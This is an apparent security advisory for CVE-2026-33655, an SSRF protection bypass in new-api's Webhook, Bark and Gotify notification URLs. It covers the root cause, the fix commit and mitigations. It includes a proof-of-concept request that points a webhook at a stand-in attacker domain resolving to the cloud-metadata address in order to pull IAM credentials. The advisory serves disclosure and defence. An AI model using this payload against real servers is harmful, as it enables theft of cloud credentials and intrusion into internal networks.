CVE-2026-33655: new-api SSRF Protection Bypass via Unresolved Hostname
Authenticated users of new-api could point Webhook, Bark, or Gotify notification URLs at a hostname that resolves to an internal or cloud-metadata IP address, causing the server to make requests to…
The problem
The FetchSetting struct shipped with ApplyIPFilterForDomain: false as its default. URL validation for notification endpoints (Webhook, Bark, Gotify) applied domain allow/block rules but skipped IP-range checks when the destination was a hostname rather than a bare IP literal.
Any authenticated user could register a notification URL whose hostname resolved to a private or link-local address (RFC 1918, 169.254.169.254, ::1, etc.). The server would fetch that URL at notification time, effectively turning the instance into an SSRF proxy reachable by low-privilege accounts.
Proof of concept
A working proof-of-concept for CVE-2026-33655 in github.com/QuantumNous/new-api, with the exact payload below.
# 1. Point an attacker-controlled domain at an internal target, e.g.:
# ssrf.attacker.com A 169.254.169.254
# 2. Authenticate as any regular user, then set a Webhook notification URL:
PATCH /api/user/setting
Content-Type: application/json
Authorization: Bearer <user_token>
{
"webhook_url": "http://ssrf.attacker.com/latest/meta-data/iam/security-credentials/"
}
# 3. Trigger a notification event (e.g. quota alert) or call the test endpoint.
# The server resolves ssrf.attacker.com -> 169.254.169.254 and sends the request,
# returning cloud-metadata credentials in timing/error side-channels.Root cause is a missing DNS-resolution step before IP filtering (CWE-918). ValidateURLWithFetchSetting in common/ssrf_protection.go accepted a hostname, checked it against the domain list, and returned without ever resolving the name and re-checking the resulting IP against the IP filter.
The ApplyIPFilterForDomain flag controlled whether that resolution step ran, and it defaulted to false.
The fix in commit 20399d3c changes the default of ApplyIPFilterForDomain to true in fetch_setting.go, so every hostname destination is now resolved and its IP is validated against the configured IP filter rules before the request is allowed.
The fix
Upgrade to v0.12.0-alpha.1 or any later release. The patch sets ApplyIPFilterForDomain: true as the new default in setting/system_setting/fetch_setting.go.
If an immediate upgrade is not possible: explicitly set ApplyIPFilterForDomain to true in your system settings, restrict notification URL domains to a strict allowlist, disable user-configurable notification URLs where not needed, and add outbound network egress rules at the host or network layer to block access to RFC 1918 and link-local ranges.
Related research
- high · 7.7CVE-2026-58314CVE-2026-58314: Gitea SSRF via Incomplete IP Classifier and Unguarded OpenID Discovery
- high · 8.5CVE-2026-57894CVE-2026-57894: Gitea Repository Migration SSRF via Git HTTP Redirect
- high · 7.7nebula-mesh: Non-Admin SSRF via Unguarded allow_private Webhook Flag
- high · 8.6CVE-2026-54628CVE-2026-54628: Anyquery SSRF via Unrestricted SQLite Virtual Table Modules in Server Mode